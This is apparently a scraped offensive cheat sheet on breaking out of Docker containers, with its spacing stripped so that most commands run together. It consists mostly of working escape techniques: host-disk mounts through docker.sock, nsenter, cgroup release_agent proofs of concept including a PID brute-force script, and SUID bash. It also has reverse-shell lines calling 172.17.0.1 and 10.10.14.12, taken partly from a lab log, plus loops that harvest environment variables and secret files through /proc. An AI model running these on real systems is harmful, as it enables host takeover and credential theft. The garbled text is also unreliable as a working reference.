#Search the socketfind/-namedocker.sock2>/dev/null#It's usually in /run/docker.sock
この場合、通常のdockerコマンドを使用してdockerデーモンと通信できます:
#List images to use onedockerimages#Run the image mounting the host disk and chroot on itdockerrun-it-v/:/host/ubuntu:18.04chroot/host/bash# Get full access to the host via ns pid and nsenter clidockerrun-it--rm--pid=host--privilegedubuntubashnsenter--target1--mount--uts--ipc--net--pid--bash# Get full privs in container without --privilegeddockerrun-it-v/:/host/--cap-add=ALL--security-optapparmor=unconfined--security-optseccomp=unconfined--security-optlabel:disable--pid=host--userns=host--uts=host--cgroupns=hostubuntuchroot/host/bash
### Check if You Can Write to a File-systemecho1>/proc/sysrq-trigger### Check root UUIDcat/proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858croconsole=tty1console=ttyS0earlyprintk=ttyS0rootdelay=300# Check Underlying Host FilesystemfindfsUUID=<UUIDValue>/dev/sda1# Attempt to Mount the Host's Filesystemmkdir/mnt-testmount/dev/sda1/mnt-testmount:/mnt:permissiondenied.--->Failed!butifnot,youmayhaveaccesstotheunderlyinghostOSfile-systemnow.### debugfs (Interactive File System Debugger)debugfs/dev/sda1
# spawn a new container to exploit via:# docker run --rm -it --privileged ubuntu bash# Finds + enables a cgroup release_agent# Looks for something like: /sys/fs/cgroup/*/release_agentd=`dirname $(ls-x/s*/fs/c*/*/r*|head-n1)`# If "d" is empty, this won't work, you need to use the next PoC# Enables notify_on_release in the cgroupmkdir-p $d/w;echo1>$d/w/notify_on_release# If you have a "Read-only file system" error, you need to use the next PoC# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlt=`sed-n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadtouch/o; echo $t/c> $d/release_agent# Creates a payloadecho"#!/bin/sh">/cecho"ps > $t/o">>/cchmod+x/c# Triggers the cgroup via empty cgroup.procssh-c"echo 0 > $d/w/cgroup.procs"; sleep1# Reads the outputcat/o
# On the hostdockerrun--rm-it--cap-add=SYS_ADMIN--security-optapparmor=unconfinedubuntubash# Mounts the RDMA cgroup controller and create a child cgroup# This technique should work with the majority of cgroup controllers# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix itmkdir/tmp/cgrp&&mount-tcgroup-ordmacgroup/tmp/cgrp&&mkdir/tmp/cgrp/x# If mount gives an error, this won't work, you need to use the first PoC# Enables cgroup notifications on release of the "x" cgroupecho1>/tmp/cgrp/x/notify_on_release# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlhost_path=`sed-n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadecho"$host_path/cmd">/tmp/cgrp/release_agent#For a normal PoC =================echo'#!/bin/sh'>/cmdecho"ps aux > $host_path/output">>/cmdchmoda+x/cmd#===================================#Reverse shellecho'#!/bin/bash'>/cmdecho"bash -i >& /dev/tcp/172.17.0.1/9000 0>&1">>/cmdchmoda+x/cmd#===================================# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory# The script on the host will execute after /bin/sh exitssh-c"echo \$\$ > /tmp/cgrp/x/cgroup.procs"# Reads the outputcat/output
#!/bin/shOUTPUT_DIR="/"MAX_PID=65535CGROUP_NAME="xyx"CGROUP_MOUNT="/tmp/cgrp"PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"OUTPUT_NAME="${CGROUP_NAME}_payload.out"OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"# Run a process for which we can search for (not needed in reality, but nice to have)sleep10000&# Prepare the payload script to execute on the hostcat> ${PAYLOAD_PATH} <<__EOF__#!/bin/shOUTPATH=\$(dirname \$0)/${OUTPUT_NAME}# Commands to run on the host<ps -eaf > \${OUTPATH} 2>&1__EOF__# Make the payload script executablechmoda+x ${PAYLOAD_PATH}# Set up the cgroup mount using the memory resource cgroup controllermkdir ${CGROUP_MOUNT}mount-tcgroup-omemorycgroup ${CGROUP_MOUNT}mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}echo1> ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release# Brute force the host pid until the output path is created, or we run out of guessesTPID=1while [ !-f ${OUTPUT_PATH} ]doif [ $((${TPID} % 100)) -eq0 ]thenecho"Checking pid ${TPID}"if [ ${TPID} -gt ${MAX_PID} ]thenecho"Exiting at ${MAX_PID} :-("exit1fifi# Set the release_agent path to the guessed pidecho"/proc/${TPID}/root${PAYLOAD_PATH}"> ${CGROUP_MOUNT}/release_agent# Trigger execution of the release_agentsh-c"echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"TPID=$((${TPID} + 1))done# Wait for and cat the outputsleep1echo"Done! Output:"cat ${OUTPUT_PATH}
cp/bin/bash.#From non priv inside mounted folder# You need to copy it from the host as the bash binaries might be diferent in the host and in the containerchownroot:rootbash#From container as root inside mounted folderchmod4777bash#From container as root inside mounted folderbash-p#From non priv inside mounted folder
# On the container as rootcd/# Crate devicemknodsdab80# Give access to itchmod777sda# Create the nonepriv user of the host inside the container## In this case it's called augustus (like the user from the host)echo"augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash">>/etc/passwd# Get a shell as augustus inside the containersuaugustussu:Authenticationfailure(Ignored)augustus@3a453ab39d3d:/backend$/bin/sh/bin/sh$
# On the host# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells useraugustus@GoodGames:~$ps-auxf|grep/bin/shroot14960.00.04292744?S09:300:00 \_ /bin/sh-cpython3-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'root16270.00.04292756?S09:440:00 \_ /bin/sh-cpython3-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'augustus16590.00.04292712?S+09:480:00 \_ /bin/shaugustus16610.00.06116648pts/0S+09:480:00 \_ grep/bin/sh# The process ID is 1659 in this case# Grep for the sda for HTB{ through the process:augustus@GoodGames:~$grep-a'HTB{'/proc/1659/root/sdaHTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
for e in`ls/proc/*/environ`; doecho; echo $e; xargs-0-L1-a $e; done/proc/988058/environPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=argocd-server-69678b4f65-6mmqlUSER=abrgocd...
for fd in`find/proc/*/fd`; dols-al $fd/*2>/dev/null|grep \>; done> fds.txtlessfds.txt...omittedforbrevity...lrwx------1rootroot64Jun1502:25/proc/635813/fd/2 ->/dev/pts/0lrwx------1rootroot64Jun1502:25/proc/635813/fd/4 ->/.secret.txt.swp# You can open the secret filw with:cat/proc/635813/fd/4
// From a conversation I had with @arget131// Fir bfing syscalss in x64#include<sys/syscall.h>#include<unistd.h>#include<stdio.h>#include<errno.h>intmain(){for(int i =0; i <333; ++i){if(i == SYS_rt_sigreturn) continue;if(i == SYS_select) continue;if(i == SYS_pause) continue;if(i == SYS_exit_group) continue;if(i == SYS_exit) continue;if(i == SYS_clone) continue;if(i == SYS_fork) continue;if(i == SYS_vfork) continue;if(i == SYS_pselect6) continue;if(i == SYS_ppoll) continue;if(i == SYS_seccomp) continue;if(i == SYS_vhangup) continue;if(i == SYS_reboot) continue;if(i == SYS_shutdown) continue;if(i == SYS_msgrcv) continue;printf("Probando: 0x%03x . . . ", i); fflush(stdout);if((syscall(i,NULL,NULL,NULL,NULL,NULL,NULL)<0) && (errno == EPERM))printf("Error\n");elseprintf("OK\n");}}```
Container Breakout through Usermode helper Template
If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
Find the path of the containers filesystem inside the host
You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
You should be able to execute the trigger from inside the host
You need to know where the containers files are located inside the host to indicate a script you write inside the host
Have enough capabilities and disabled protections to be able to abuse that functionality
You might need to mount things o perform special privileged actions you cannot do in a default docker container